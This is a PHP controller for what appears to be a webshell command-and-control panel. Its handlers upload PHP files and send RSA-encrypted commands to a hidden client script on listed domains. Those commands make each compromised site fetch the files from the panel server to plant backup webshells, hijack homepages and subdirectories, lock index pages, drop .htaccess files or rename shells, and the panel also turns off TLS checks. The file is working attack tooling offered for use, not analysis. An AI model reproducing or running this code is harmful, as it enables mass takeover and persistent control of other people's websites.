<?php

namespace app\ctrl;

use GuzzleHttp\Client as GuzzleClient;
use GuzzleHttp\Exception\ConnectException;
use GuzzleHttp\Exception\RequestException;
use Psr\Http\Message\ResponseInterface;
use Yurun\Util\YurunHttp\Co\Batch;
use Yurun\Util\HttpRequest;

/**
 * 处理
 */
class Tool extends \app\ctrl\BaseController
{

    /**
     * 显示页面
     */
    public function index()
    {
        // 输出详情html内容
        $view = new \core\lib\View(VIEWS);
        return $view->render('tool', ['v' => time(), 'host' => env('APP_BASEURL')]);
    }

    /**
     * 访问指定html
     */
    public function html()
    {
        // 输出详情html内容
        $filename = get('filename');
        $path = STORAGE . '/html/' . $filename . '.html';
        if (is_file($path)) {
            return @file_get_contents($path);
        }
        return '';
    }

    /**
     * 加解密
     */
    public function rsaDecrypt()
    {
        $params = [
            'iden' => 'beima',
            'server' => 'http://style-server/',
            'level' => 5,
            'filename' => 'cp-conflg.php',
            'shellfile' => 'tool/html?filename=beima_bbeb2a2c38bd4a1c68f401bf296a056b'
        ];
        $publicKey = \Constant::RSA_PUBLIC_KEY;
        $params = json_encode($params, JSON_UNESCAPED_UNICODE);
        $str = openssl_public_encrypt($params, $encrypted, $publicKey) ? $encrypted : null;
        $str = !is_null($str) ? urlencode(base64_encode($str)) : '';
        // $str = "nnCq%3D";
        $privateKey = \Constant::RSA_PRIVATE_KEY;
        $params = openssl_private_decrypt(base64_decode(urldecode($str)), $decrypted, $privateKey) ? $decrypted : null;
        if (is_null($params)) {
            error('解密失败');
        }
        $params = json_decode($params, true);
        dd($params);
    }

    /**
     * 处理工具的所有事情
     */
    public function exec()
    {
        $params = post();
        $this->validate($params, [
            'iden' => 'require|in:beima,rename,index,sub,lock,htaccess,style',
        ]);
        $iden = strtolower($params['iden']);
        require_once(VENDOR . '/autoload.php');
        switch ($iden) {
            case 'beima':
                $res = $this->doBeima($params);
                break;
            case 'rename':
                $res = $this->doRename($params);
                break;
            case 'index':
                $res = $this->doIndex($params);
                break;
            case 'sub':
                $res = $this->doSub($params);
                break;
            case 'lock':
                $res = $this->doLock($params);
                break;
            case 'htaccess':
                $res = $this->doHtaccess($params);
                break;
            case 'style':
                $res = $this->doStyle($params);
                break;
            default:
                error('不存在该工具');
        }
        return $res;
    }

    /**
     * 备马
     */
    public function doBeima(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['beima_file'])) {
            error('请上传备马文件');
        }
        if (!str_ends_with($_FILES['beima_file']['name'], '.php')) {
            error('备马文件必须是一个php文件');
        }
        $this->validate($params, [
            'beima_name' => 'require|max:32',
            'beima_level' => 'require|integer|in:1,2,3,4,5,6,7'
        ]);
        if (strpos($params['beima_name'], '.') === false) {
            $params['beima_name'] .= '.php';
        }
        $params['beima_level'] = intval($params['beima_level']);
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $beimaFileTemp = $_FILES['beima_file']["tmp_name"];
        $beimaFileContent = @file_get_contents($beimaFileTemp);
        $md5 = 'beima_' . md5($beimaFileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $beimaFileContent);

        // 3.对参数进行加密
//        $data = [];
//        foreach ($params['domains'] as $domain) {
//            $encryptParams = [
//                'iden' => 'beima',
//                'server' => env('APP_BASEURL'),
//                'level' => $params['beima_level'],
//                'filename' => $params['beima_name'],
//                'shellfile' => 'tool/html?filename=' . $md5
//            ];
//            // 4.对客户端的埋藏好的文件进行请求
//            $resp = $this->request($domain, $encryptParams);
//            !empty($resp) && $data[] = $resp;
//        }
//        return $data;

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => 'beima',
                'server' => env('APP_BASEURL'),
                'level' => $params['beima_level'],
                'filename' => $params['beima_name'],
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 文件重命名
     */
    public function doRename(array $params)
    {
        // 1.验证参数
        $this->validate($params, [
            'rename' => 'require|max:32',
        ]);
        if (strpos($params['rename'], '.') === false) {
            $params['rename'] .= '.php';
        }
        $params['domains'] = $this->checkDomains($params['domains'], true);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            // 或者结尾的php文件名
            $parse = parse_url($domain);
            $temp = explode('/', $parse['path']);
            $end = end($temp);
            if (str_contains($end, '#')) {
                # 移除带#号的这个密码，要不然实际成功，却提示本地文件不存在
                $end = substr($end, 0, strpos($end, '#'));
            }
            $reqparams[$domain] = [
                'iden' => 'rename',
                'server' => env('APP_BASEURL'),
                'sourcename' => $end,
                'rename' => $params['rename']
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 首页劫持
     */
    public function doIndex(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['index_file'])) {
            error('请上传劫持文件');
        }
        if (!str_ends_with($_FILES['index_file']['name'], '.php')) {
            error('劫持文件必须是一个php文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $indexFileTemp = $_FILES['index_file']["tmp_name"];
        $indexFileContent = @file_get_contents($indexFileTemp);
        $md5 = 'index_' . md5($indexFileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $indexFileContent);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => 'index',
                'server' => env('APP_BASEURL'),
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 子目录劫持
     */
    public function doSub(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['sub_file'])) {
            error('请上传子目录劫持文件');
        }
        if (!str_ends_with($_FILES['sub_file']['name'], '.php')) {
            // error('子目录劫持文件必须是一个php文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $subFileTemp = $_FILES['sub_file']["tmp_name"];
        $subFileContent = @file_get_contents($subFileTemp);
        $md5 = 'sub_' . md5($subFileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $subFileContent);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => 'sub',
                'server' => env('APP_BASEURL'),
                'filename' => $_FILES['sub_file']['name'],
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 生成和执行index锁定
     */
    public function doLock(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['lock_file'])) {
            error('请上传首页锁定文件');
        }
        if (!str_ends_with($_FILES['lock_file']['name'], '.php')) {
            error('首页锁定文件必须是一个php文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $lockFileTemp = $_FILES['lock_file']["tmp_name"];
        $lockFileContent = @file_get_contents($lockFileTemp);
        $md5 = 'lock_' . md5($lockFileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $lockFileContent);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $clienthost = substr($domain, 0, strrpos($domain, '/') + 1);
            $reqparams[$domain] = [
                'iden' => 'lock',
                'server' => env('APP_BASEURL'),
                'domain' => $clienthost,
                'filename' => $_FILES['lock_file']['name'],
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 上传.htaccess文件
     */
    public function doHtaccess(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['hta_file'])) {
            error('请上传.htaccess文件');
        }
        if ($_FILES['hta_file']['name'] !== '.htaccess') {
            error('文件名必须是.htaccess');
        }
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $fileTemp = $_FILES['hta_file']["tmp_name"];
        $fileContent = @file_get_contents($fileTemp);
        $md5 = 'hta_' . md5($fileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $fileContent);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => 'htaccess',
                'server' => env('APP_BASEURL'),
                'filename' => $_FILES['hta_file']['name'],
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 批量更新style
     */
    public function doStyle(array $params)
    {
        $params['domains'] = $this->checkDomains($params['domains']);
        // 获取最新的style.php内容
        $fileContent = @file_get_contents(STORAGE . '/style/style.txt');
        $md5 = 'style_' . md5($fileContent);
        $toPath = STORAGE . '/html/' . $md5 . '.html';
        @file_put_contents($toPath, $fileContent);

        // guzzle弃用，采用雨润的yurun-http包来实现并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $clienthost = substr($domain, 0, strrpos($domain, '/') + 1);
            $reqparams[$domain] = [
                'iden' => 'htaccess',
                'server' => env('APP_BASEURL'),
                'domain' => $clienthost,
                'filename' => 'style.php',
                'shellfile' => 'tool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * yurun的request批量请求
     * $params key=domain,value=加密前的数组
     * 参考：https://github.com/Yurunsoft/YurunHttp，https://www.w3cschool.cn/yurunhttp/yurunhttp-yael2e0s.html
     */
    private function yurunRequest(array $params)
    {
        // 公共参数
        $headers = [
            'Content-Type' => 'application/json;charset=UTF-8',
            'Accept' => 'application/json'
        ];
        $options = [
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ];
        $domains = $encryptParams = $data = [];
        $clientPhpname = env('client.phpname');
        foreach ($params as $domain => $encryptParam) {
            $encryptStr = $this->rsaEncrypt($encryptParam);
            if (strpos($domain, $clientPhpname) === false) {
                $pathinfo = pathinfo($domain);
                if (str_ends_with($domain, '/')) {
                    $url = $pathinfo['dirname'] . "{$clientPhpname}";
                } else {
                    $url = $pathinfo['dirname'] . "/{$clientPhpname}";
                }
            } else {
                if ($encryptParam['iden'] === 'rename') {
                    $url = '';
                    $data[] = $domain . '|结尾不能是style.php';
                } else {
                    $url = $domain;
                }
            }
            if (!empty($url)) {
                // 总时间不得超过3秒，连接时间不得超过1秒
                $req[] = (new HttpRequest)->headers($headers)->options($options)->retry(2)->timeout(3000, 1000)
                    ->url($url)->headers(['p' => $encryptStr]);
                $domains[] = $domain;
                $encryptParams[] = $encryptParam;
            }
        }
        if (!empty($req)) {
            $result = Batch::run($req);
            foreach ($result as $k => $resp) {
                $url = $domains[$k];
                $parseUrl = parse_url($url);
                $encryptParam = $encryptParams[$k];
                $statusCode = $resp->getStatusCode();
                if ($statusCode === 403) {
                    $msg = '访问不了';
                    $data[] = $url . '|' . $msg;
                    logger()->error(compact('url', 'msg', 'encryptParam'));
                    continue;
                }
                $response = $resp->getBody()->getContents();
                $response = json_decode($response, JSON_UNESCAPED_UNICODE);
                $msg = $response['msg'] ?? '';
                if (empty($response) || (isset($response['code']) && $response['code'] !== 200)) {
                    $extras = $response['extras'] ?? [];
                    empty($msg) && $msg = '访问不了';
                    $data[] = $url . '|' . $msg;
                    // 记录错误日志
                    logger()->error(compact('url', 'msg', 'extras', 'encryptParam'));
                } else {
                    !empty($response['data']) && $msg = $response['data'];
                    logger()->info(compact('url', 'msg', 'encryptParam'));
                    if ($encryptParam['iden'] === 'beima') {
                        // 如果是备马，则直接显示链接
                        $temp = ($parseUrl['scheme'] ?? '') . '://' . ($parseUrl['host'] ?? '') . ($msg['beimaurl'] ?? '');
                        $data[] = $temp;
                    } elseif ($encryptParam['iden'] === 'rename' && !empty($parseUrl)) {
                        $temp = $parseUrl['scheme'] . '://' . rtrim($parseUrl['host'], '/') . str_replace($encryptParam['sourcename'], $encryptParam['rename'], str_replace('//', '/', $parseUrl['path']));
                        $data[] = !empty($parseUrl['query']) ? $temp . '?' . $parseUrl['query'] : $temp;
                    } else {
                        $temp = $url . '|' . 'OK';
                        if (!empty($msg)) {
                            if (is_string($msg)) {
                                $temp .= '[' . $msg . ']';
                            }
                        }
                        $data[] = $temp;
                    }
                }
            }
        }
        return $data;
    }

    /**
     * 根据加密后的字符进行请求
     */
    private function request(string $url, array $encryptParams)
    {
        $encryptStr = $this->rsaEncrypt($encryptParams);
        if (empty($encryptStr)) {
            return '';
        }
        $encryptParams = json_encode($encryptParams, JSON_UNESCAPED_UNICODE);
        $response = $this->get($url, ['p' => $encryptStr]);
        $msg = $response['msg'] ?? '';
        if (empty($response) || $response['code'] !== 200) {
            $extras = $response['extras'] ?? [];
            $data = $url . '|==>' . $msg;
            // 记录错误日志
            logger()->error(compact('url', 'msg', 'extras', 'encryptParams'));
        } else {
            !empty($response['data']) && $msg = $response['data'];
            logger()->info(compact('url', 'msg', 'encryptParams'));
            $data = $url . '|==>' . 'OK';
            if (!empty($msg)) {
                $data .= '[' . $msg . ']';
            }
        }
        return $data;
    }

    /**
     * yurun的get请求
     * API文档：https://www.w3cschool.cn/yurunhttp/yurunhttp-yael2e0s.html
     */
    private function yurunGet(string $url, array $params = [])
    {
        $url = $url . '?' . http_build_query($params);
        $http = new HttpRequest();
        $resp = $http->headers([
            'Content-Type' => 'application/json;charset=UTF-8',
            'Accept' => 'application/json'
        ])->options([
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
        ])->retry(2)->timeout(3000)->get($url);
        $content = $resp->body();

        return json_decode($content, JSON_UNESCAPED_UNICODE);
    }

    /**
     * 请求
     */
    private function get(string $url, array $params = [])
    {
        $client = new GuzzleClient([
            'base_uri' => $url,
            'verify' => false,
            'headers' => [
                'Content-Type' => 'application/json;charset=UTF-8',
                'Accept' => 'application/json'
            ]
        ]);
        $request = $client->getAsync($url, [
            'query' => $params
        ]);
        $promise = $request->then(function (ResponseInterface $request) {
            $contents = $request->getBody()->getContents();
            return json_decode($contents, true);
        }, function (\Exception $exception) use ($url, $params) {
            if ($exception instanceof ConnectException) {
                return ['code' => 500, 'msg' => 'url无法请求', 'extras' => ['url' => $url, 'params' => $params]];
            } elseif ($exception instanceof RequestException) {
                $httpStatus = intval($exception->getResponse()->getStatusCode());
                $resp = $exception->getResponse()->getBody()->getContents();
                return ['code' => 500, 'msg' => 'curl时发生request异常', 'extras' => [
                    'url' => $url, 'params' => $params, 'http_status' => $httpStatus, 'resp' => $resp
                ]];
            }
        });
        $data = $promise->wait();
        if (empty($data)) {
            return [];
        }
        return $data;
    }

    /**
     * 验证提交的多个域名
     */
    private function checkDomains(string $domains, bool $forcePhp = false)
    {
        $domains = explode(PHP_EOL, $domains);
        if (empty($domains)) {
            error('域名参数错误');
        }
        $last = [];
        $clientPhpname = env('client.phpname');
        foreach ($domains as $domain) {
            $domain = trim($domain);
            if (empty($domain)) {
                // 移除空行
                continue;
            }
            $parse = parse_url($domain);
            if ($forcePhp) {
                $ext = strtolower(getFileExt($parse['path']));
                if (!in_array($ext, ['php', 'php7', 'php8'])) {
                    error($domain . '必须是一个php[7|8]文件名作为结尾');
                }
            }
            if (str_ends_with($domain, $clientPhpname)) {
                $last[] = $domain;
                continue;
            }
            $pathinfo = pathinfo($domain);
            if (isset($pathinfo['extension'])) {
                // 因为style.php可以重命名的，尽量都填写进来，否则就会用默认的
                // $last[] = $pathinfo['dirname'] . "/{$clientPhpname}";
                $last[] = $domain;
            } else {
                if (str_ends_with($domain, '/')) {
                    $last[] = $domain . "{$clientPhpname}";
                } else {
                    $last[] = $domain . "/{$clientPhpname}";
                }
            }
        }
        return $last;
    }

    /**
     * 对需要远程请求的参数进行加密
     */
    private function rsaEncrypt(array $params)
    {
        $publicKey = \Constant::RSA_PUBLIC_KEY;
        $params = json_encode($params, JSON_UNESCAPED_UNICODE);
        $str = openssl_public_encrypt($params, $encrypted, $publicKey) ? $encrypted : null;
        return !is_null($str) ? urlencode(base64_encode($str)) : '';
    }


}